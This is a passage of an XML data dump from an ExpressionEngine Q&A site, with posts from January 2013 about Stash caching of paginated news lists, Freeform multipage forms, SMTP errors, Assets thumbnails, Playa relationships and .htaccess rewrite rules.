  <row Id="5204" PostTypeId="1" AcceptedAnswerId="5210" CreationDate="2013-01-22T12:49:50.710" Score="5" ViewCount="654" Body="&lt;p&gt;I have a website with more or less a thousand news items in a channel and was wondering what was the best way to handle this with stash if I want to separate the logic from the HTML code as much as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Using set_list / get_list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrapping your &lt;code&gt;channel:entries&lt;/code&gt; tags in a &lt;code&gt;set_list&lt;/code&gt; then using &lt;code&gt;get_list&lt;/code&gt; and stash pagination does not look like it is the right approach since getting 1000 items with a channel entry loop is going to be very time consuming. What's nice is that you can cache the list and not hit the channel entries tags on subsequent visits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Using append_list / get_list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The approach I currently favor is to use &lt;code&gt;channel:entries&lt;/code&gt; tags on the outside and using an &lt;code&gt;append_list&lt;/code&gt; tag pair on the inside and stashing the pagination works fine. But there, we hit the &lt;code&gt;channel:entries&lt;/code&gt; tags on every page load and I don't see how stash caching could be useful in that context.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Build news list --}&#xA;{exp:channel:entries disable=&quot;categories|category_fields|member_data|trackbacks&quot; channel=&quot;news&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    {exp:stash:append_list name=&quot;st_news&quot;}&#xA;        {stash:st_title}{title}{/stash:st_title}&#xA;        {stash:st_date}{entry_date format=&quot;%F %d, %Y&quot;}{/stash:st_date}&#xA;        {stash:st_machinedate}{entry_date format=&quot;%Y-%m-%d&quot;}{/stash:st_machinedate}&#xA;        {stash:st_url}{url_title_path=&quot;news_press/news&quot;}{/stash:st_url}&#xA;        {stash:st_image}{cf_news_img}{/stash:st_image}&#xA;        {stash:st_summary}{exp:eehive_hacksaw words=&quot;30&quot; append=&quot;...&quot;}{cf_news_summary}{/exp:eehive_hacksaw}{/stash:st_summary}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {paginate}&#xA;        {exp:stash:set name=&quot;st_pagination&quot; parse_tags=&quot;yes&quot;}&#xA;            {pagination_links}&#xA;                &amp;lt;ul class=&quot;pagination group&quot;&amp;gt;&#xA;                    {first_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/first_page}&#xA;                    {page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;{if current_page} class=&quot;current&quot;{/if}&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;                    {last_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/last_page}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/pagination_links}&#xA;        {/exp:stash:set}&#xA;    {/paginate}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in a snippet or in the same template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;st_news&quot; prefix=&quot;stashprefix&quot;}&#xA;&#xA;    {if count == &quot;1&quot;}&amp;lt;ul class=&quot;horizimglist&quot;&amp;gt;{/if}&#xA;        &amp;lt;li class=&quot;group&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;imgholder&quot;&amp;gt;&amp;lt;a href=&quot;{st_url}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{st_image}&quot; width=&quot;680&quot; height=&quot;382&quot; crop=&quot;yes|center, center&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;div class=&quot;postcontent&quot;&amp;gt;&#xA;                &amp;lt;p class=&quot;info&quot;&amp;gt;&amp;lt;time datetime=&quot;{st_machinedate}&quot; pubdate=&quot;pubdate&quot;&amp;gt;{st_date}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{st_url}&quot;&amp;gt;{st_title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;{st_summary}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;    {!-- if no results --}&#xA;    {if stashprefix:no_results}&amp;lt;p&amp;gt;No News Found&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    {!-- Pagination --}&#xA;    {if count == total_results}{exp:stash:get name=&quot;st_pagination&quot;}{/if}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was just curious to know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what is the approach stash experts use in such a context&lt;/li&gt;&#xA;&lt;li&gt;are there stash options/parameters (save/refresh/replace) I could use to have better performance&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-22T13:05:50.533" LastActivityDate="2013-01-22T14:04:28.900" Title="Using stash, what's the most efficient way of dealing with long paginated lists" Tags="|stash|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5205" PostTypeId="2" ParentId="4792" CreationDate="2013-01-22T12:54:06.760" Score="1" Body="&lt;p&gt;There's no built in way to customize the look of the Store product details field in the control panel entry screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option you have if you need to do this is create an extension which uses the &lt;code&gt;cp_css_end&lt;/code&gt; hook to add your own CSS to the control panel, which hides the fields you don't need.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-22T12:54:06.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5206" PostTypeId="2" ParentId="5142" CreationDate="2013-01-22T13:07:34.207" Score="3" Body="&lt;p&gt;That particular message you are looking for comes directly from ExpressionEngine. You can translate the built in EE strings in the same way (in your &lt;code&gt;system/expressionengine/language&lt;/code&gt; folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option if you don't want to bother translating EE is to use the error variables as conditionals. Instead of &lt;code&gt;{error:field_name}&lt;/code&gt;, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if error:field_name}&#xA;    Custom error message&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-22T13:07:34.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5207" PostTypeId="1" AcceptedAnswerId="5246" CreationDate="2013-01-22T13:17:02.893" Score="0" ViewCount="713" Body="&lt;p&gt;I'm using Freeform Pro 4 and creating a multipage form. In the first page I have a field {freeform:field:sale_price} where the user can enter a price for their house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the next page I then need to do some calculations on this price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there is also a Hidden Field type, so I created a 'sale_price_hidden' and then when the user submits the first page, the hidden value gets added like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;sale_price_hidden&quot; value=&quot;{freeform:field:sale_price}{freeform:data:value}{/freeform:field:sale_price}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the second page I am then trying to retrieve that value, but I'm not sure how to get the raw data value (assuming it is possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondered if someone could help? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-01-22T21:08:06.980" Title="Passing field values from one page to the next with Freeform Pro" Tags="|forms|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5208" PostTypeId="1" AcceptedAnswerId="5265" CreationDate="2013-01-22T13:36:22.043" Score="0" ViewCount="438" Body="&lt;p&gt;When I go to tools -&gt; communicate and try to send an email (with my smtp configuration that was previously working fine) I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Message: fsockopen() [function.fsockopen]: unable to connect to&#xA;  smtp.mandrillapp.com:25 (Operation not permitted)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Email.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 1670&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea about why this is happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me it's weird because previously emailing worked fine... It's been a while since I last sent email, but I didn't change any email related config since then...&lt;/p&gt;&#xA;" OwnerUserId="569" LastEditorUserId="569" LastEditDate="2013-01-22T17:54:54.293" LastActivityDate="2013-01-23T04:10:58.087" Title="Why do I get this Email Error?" Tags="|email|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5209" PostTypeId="1" AcceptedAnswerId="5220" CreationDate="2013-01-22T13:49:26.040" Score="1" ViewCount="231" Body="&lt;p&gt;I imported a lot of pictures via datagrab to a file field.&lt;br&gt;&#xA;this all worked as expected. the thumbs of the file is displayed etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then I changed the file field to an asset field. with the same upload directories. &#xA;now the thumbs are not showing! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I upload another image, then suddently both thumbnails are displayed... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how could I display the thumbs directely? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;could I downgrade to assets 1 somehow? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-01-22T15:47:26.690" Title="change from file to assets does not show thumbnails" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5210" PostTypeId="2" ParentId="5204" CreationDate="2013-01-22T13:58:44.217" Score="5" Body="&lt;p&gt;You could use the pagination segment as a context for your stashed variables. Each page of results would then be cached independently. The challenge with this approach is clearing the cache once any one of those cached pages expires (since the entire resultset may have changed since last cache).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:context name=&quot;{segment_3}&quot;}&#xA;{exp:stash:set_list name=&quot;st_news&quot; context=&quot;@&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;no&quot; refresh=&quot;60&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;{!-- flush ALL site-scoped cached variables. This bit is clumsy, sorry. --}&#xA;{exp:stash:unset scope=&quot;site&quot;}&#xA;&#xA;{exp:channel:entries disable=&quot;categories|category_fields|member_data|trackbacks&quot; channel=&quot;news&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;        {stash:st_title}{title}{/stash:st_title}&#xA;        {stash:st_date}{entry_date format=&quot;%F %d, %Y&quot;}{/stash:st_date}&#xA;        {stash:st_machinedate}{entry_date format=&quot;%Y-%m-%d&quot;}{/stash:st_machinedate}&#xA;        {stash:st_url}{url_title_path=&quot;news_press/news&quot;}{/stash:st_url}&#xA;        {stash:st_image}{cf_news_img}{/stash:st_image}&#xA;        {stash:st_summary}{exp:eehive_hacksaw words=&quot;30&quot; append=&quot;...&quot;}{cf_news_summary}{/exp:eehive_hacksaw}{/stash:st_summary}&#xA;&#xA;    {paginate}&#xA;        {exp:stash:set name=&quot;st_pagination&quot; context=&quot;@&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;yes&quot; refresh=&quot;61&quot;}&#xA;            {pagination_links}&#xA;                &amp;lt;ul class=&quot;pagination group&quot;&amp;gt;&#xA;                    {first_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/first_page}&#xA;                    {page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;{if current_page} class=&quot;current&quot;{/if}&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;                    {last_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/last_page}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/pagination_links}&#xA;        {/exp:stash:set}&#xA;    {/paginate}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And retrieve like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;st_news&quot; context=&quot;@&quot; scope=&quot;site&quot;}&#xA;...&#xA;{/exp:stash:get_list}&#xA;{exp:stash:get name=&quot;st_pagination&quot; context=&quot;@&quot; scope=&quot;site&quot; process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that we're caching the pagination block for slightly longer than the list, and using replace=&quot;yes&quot;. This is because the list should always expire first, and once it does it will run the enclosed tags and will always regenerate the associated pagination block (since replace=&quot;yes&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site-scoped cache flushing I consider somewhat clumsy since it should really target the meta-grouping of cached variables that constitutes all the pages of results only, rather than all site-scoped variables. There is in fact a way to group variables that has been in Stash since the very beginning (&quot;bundles&quot;) but which I am only now fleshing out more fully. In future you will be able to use the &lt;code&gt;bundle=&quot;&quot;&lt;/code&gt; parameter to group or flush an arbitrary set of related variables (from either your template code or using a new CP interface for cache management).&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-01-22T14:04:28.900" LastActivityDate="2013-01-22T14:04:28.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5211" PostTypeId="1" CreationDate="2013-01-22T14:15:40.730" Score="2" ViewCount="148" Body="&lt;p&gt;I want to allow the user to create a layout when they publish a new item. They should be able to choose one or more of a set list of templates, each containing a text area and then one or more images (&lt;a href=&quot;http://www.tiikoni.com/tis/view/?id=e20e6a0&quot; rel=&quot;nofollow&quot;&gt;something like this&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on out there that could do this kind of thing? I've seen &lt;a href=&quot;http://www.krea.com/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; but it doesn't (as far as I can see) allow custom sections to be created. I'm thinking the best way to go might be Matrix, but am open to other suggestions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darren&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2013-01-22T18:36:46.137" Title="Create layout when publishing content" Tags="|add-on|templates|publish-layout|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5212" PostTypeId="1" AcceptedAnswerId="5295" CreationDate="2013-01-22T14:16:56.107" Score="2" ViewCount="377" Body="&lt;p&gt;I'm trying to display the count/position of the entries i've selected in the Playa field, but can't seem to figure it out. For example in my Playa field I have...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Test Post&lt;br&gt;&#xA;Another Test Post&lt;br&gt;&#xA;Yet Another Test Post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But do each one of these posts have a count / position number in Playa? e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1 - Test Post&lt;br&gt;&#xA;2 - Another Test Post&lt;br&gt;&#xA;3 - Yet Another Test Post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But If I was to reorder them to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another Test Post&lt;br&gt;&#xA;Test Post&lt;br&gt;&#xA;Yet Another Test Post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The count should still count up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1 - Another Test Post&lt;br&gt;&#xA;2 - Test Post&lt;br&gt;&#xA;3 - Yet Another Test Post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I can seem to output is the count of the entry which always displays &quot;1&quot; or the entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;course&quot; url_title=&quot;{segment_2}&quot; dynamic=&quot;no&quot;}&#xA;     {cf_course_content} {!-- Playa Field --}&#xA;          {count}&#xA;     {/cf_course_content}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-01-23T17:09:52.687" Title="Playa Position Count" Tags="|playa|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5214" PostTypeId="1" CreationDate="2013-01-22T14:54:39.127" Score="1" ViewCount="1338" Body="&lt;p&gt;I have the latest Assets on EE 2.5.5 and I'm not seeing the files in the File Manager. I have one upload destination called Uploads and in that, a number of subdirectories and files. When I update the index, it takes some time so it &lt;strong&gt;looks&lt;/strong&gt; like it's found files, but the File Manager shows neither directories nor images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All file permissions are fine and it appears to upload OK, I just can't browse and select anything. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEWeb.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mqwyt.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u7peH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-08-04T07:54:10.117" Title="Assets File Manager not showing images" Tags="|assets|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="5215" PostTypeId="2" ParentId="5212" CreationDate="2013-01-22T14:57:24.547" Score="0" Body="&lt;p&gt;Maybe try with &lt;a href=&quot;https://github.com/pvledoux/Pvl_increment&quot; rel=&quot;nofollow&quot;&gt;Pvl_Increment&lt;/a&gt;. It counts on every call.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-01-22T14:57:24.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5216" PostTypeId="1" CreationDate="2013-01-22T15:15:19.520" Score="1" ViewCount="284" Body="&lt;p&gt;Are there any add-ons for EE 2 that can handle limiting both by paragraph and number of words (or characters)? With just paragraph I might end up with too much text if the paragraph is long and with just words or characters I end up with several paragraphs if they're shorter. Ideally, I don't want to use multiple add-ons.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-01-22T15:24:08.657" Title="Add-on for limiting by paragraph and words/characters?" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5217" PostTypeId="2" ParentId="5216" CreationDate="2013-01-22T15:24:08.657" Score="2" Body="&lt;p&gt;I find &lt;a href=&quot;https://github.com/EllisLab/Word-Limit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/Word-Limit&lt;/a&gt; by EllisLab to be very effective in this scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another favourite is Hacksaw &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hacksaw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are quite a few other options as well on Devot-ee &lt;a href=&quot;http://devot-ee.com/search/results?keywords=word+limit&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/results?keywords=word+limit&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-22T15:24:08.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5218" PostTypeId="2" ParentId="5188" CreationDate="2013-01-22T15:25:59.903" Score="9" Body="&lt;p&gt;Thanks for nudge Derek. I was totally unaware that the site was running as a FastCGI process. This is the &lt;a href=&quot;https://twitter.com/siebird/status/293740340916150272&quot; rel=&quot;noreferrer&quot;&gt;default with (mt) dv 4.0&lt;/a&gt; &amp;amp; Plesk 11.0.9 when creating new hosts. Which maybe explains other user's issues with removing index.php at MediaTemple&lt;/p&gt;&#xA;&lt;p&gt;I switched it back to Apache and removed the &lt;code&gt;?&lt;/code&gt; from the rewrite rule and the redirects are working properly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To change PHP support at MediaTemple (dv) 4.0, go to the domain in Plesk. Open the Control panel and click the website &amp;amp; domains tab. Click the advanced operations then Website Scription &amp;amp; Security. Select Apache from the PHP select menu.&lt;/p&gt;&#xA;&lt;h3&gt;Update For Fix w/PHP running as CGI process – 1/31/13&lt;/h3&gt;&#xA;&lt;p&gt;If PHP is running as CGI process and the query string &lt;code&gt;?&lt;/code&gt; is appended to the URL, you can use this rewrite rule instead of redirect:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^old-url?/?$ http://www.website.com/new-url [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;See comment below for reference article&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-31T23:42:53.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5219" PostTypeId="2" ParentId="5211" CreationDate="2013-01-22T15:29:24.003" Score="2" Body="&lt;p&gt;Even Matrix won't neccessarily help you here as you'll still need to predefine the fieldtypes within Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could possibly do (and I've done this on a build previously) is give the user radio button options for specific fields and set them on/off as per their instructions and then run conditionals on the front-end to display/hide as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be wary of giving any client too much control though, particularly over layout, has a tendency to start looking garish.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-22T15:29:24.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5220" PostTypeId="2" ParentId="5209" CreationDate="2013-01-22T15:47:26.690" Score="2" Body="&lt;p&gt;Stefan,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you go to Modules &gt; Assets and in the upper right click &quot;Update Indexes&quot; - then check all of those boxes and update those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should fix this up, if I am understanding correctly.  You can then go visit and make sure the thumbnails show up appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no downgrade to Assets 1 unless you have a backup of files and database and roll those back.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-22T15:47:26.690" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5223" PostTypeId="1" AcceptedAnswerId="5229" CreationDate="2013-01-22T16:26:17.380" Score="0" ViewCount="155" Body="&lt;p&gt;First I want to say I initially setup the Products section of this site using categories and it works great. BUT, I need more custom fields added to categories which I don't think is possible so I'm exploring alternate methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about creating a &quot;Categories&quot; channel and adding a Playa field to my &quot;Products&quot; channel to assign a &quot;category&quot;. I setup the &quot;Categories&quot; channel and assigned a &quot;category&quot; to each product using Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to have the url structures remain the same as it is in the image below. &quot;Product Cat1, Product Cat2, etc.&quot; are the categories. The items listed below those, &quot;Apple, Banana, etc.&quot;, are entries with the category assigned to them. I need to be able to dynamically create the sidenav as shown in the pic below. This was relatively simple using the categories tag, but I'm having problems figuring out the template code using Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a product is clicked, a &quot;product detail&quot; page is shown. Again, I need the URL structure to remain the same as before. If anyone has any comments on the template code for the sidenav and main content area it would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mB9cT.png&quot; alt=&quot;page and navigation structure for products section&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-02-21T17:27:13.710" Title="Trying to use Playa to assign &quot;categories&quot; instead of using categories, can't wrap my head around how to set it up in templates" Tags="|templates|categories|playa|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5224" PostTypeId="2" ParentId="1272" CreationDate="2013-01-22T16:27:04.747" Score="0" Body="&lt;p&gt;I've developed an add-on called &lt;a href=&quot;http://www.intoeetive.com/index.php/comments/custom-comment-fields-comment-uploads-in-ee2&quot; rel=&quot;nofollow&quot;&gt;Custom Comment Fields&lt;/a&gt; that allows custom fields to be submitted with comments (handles text inputs, textares and attachments via Safecracker File field). Datepicker not supported yet, but is in plans.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-22T16:27:04.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5225" PostTypeId="1" AcceptedAnswerId="5238" CreationDate="2013-01-22T16:28:01.243" Score="2" ViewCount="157" Body="&lt;p&gt;This is something that I'm wondering how you solve it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When building a site, the index template is served with segment 1 empty. If I start an entries loop in a embed, I'll need a conditional to show the specific category for the home page and automated categories for the rest like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1==&quot;&quot;}&#xA;    {exp:channel:entries category=&quot;1&quot;}&#xA;        All kinds of channel entry stuff&#xA;    {/exp:channel:entries}&#xA;{if:else}&#xA;    {exp:channel:entries}&#xA;        All kinds of channel entry stuff&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference between the first and second loop is the category, which is called automatically in the second loop by the URL segment. Every time I make a change in the first loop, I have to be careful to do that in the second one too. I could put the 'entry stuff' in a snippet, but I like to work with files, which snippets do not allow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would you approach this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="77" LastEditDate="2013-01-22T16:36:07.283" LastActivityDate="2013-01-23T03:08:35.330" Title="Preventing a double entries loop" Tags="|channel-entries|how-to|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5226" PostTypeId="1" AcceptedAnswerId="5233" CreationDate="2013-01-22T16:29:45.963" Score="2" ViewCount="154" Body="&lt;p&gt;I'm trying to figure out the best way to output data and effectively create relationships between a product and it's availability based on the enduser's location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a site for consumers of local seasonal vegetables and produce. Basically what would happen is that a user comes to the site and chooses a State via drop down menu, based on their choice, it then populates another form field for cities in that state where local seasonal vegetables and produce are available, the user picks a city and a list of available items gets generated. Then you can click on the item [for this case I'll use broccoli], and it gives you information about that item such as nutritional value, growing season, climate, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds pretty simple, I know. But here's where I'm struggling in figuring out how to create relationships and filter data. For example, on the backend I have listing channel for vegetables that lists all the vegetables available in, say - California, Oregon and Washington for that season. Local organic broccoli is currently available in Seattle WA, Portland OR and Sacramento CA. I need to have broccoli associated with each state, then subsequent city that it's available in. Currently, I have Tagger tags on broccoli for all 6 of those locations, but after further thought, I'm not sure this is a good way to do this because ultimately I'd like to have the farmers markets the broccoli is available in to be dynamically listed on the broccoli page based on the users choices from the drop-downs from the previous page location as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not necessarily a newb with EE, but I've not done anything like this before and I'm not sure if there are existing add-ons that would help me do what I'm trying to do, or if I've just got to figure out a way to tie these things together and generate the proper output. I'm a frontend developer trying to figure out how to create relationships with data - not really in my wheelhouse...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has suggestions, thoughts, advice in how I can properly and effectively create these relationships to output them correctly and have subsidiary data associated with a location [such as markets] tied to the process…it would be immensely appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for taking a look at my problem!&lt;/p&gt;&#xA;" OwnerUserId="868" LastActivityDate="2013-12-30T13:05:10.030" Title="output data based on 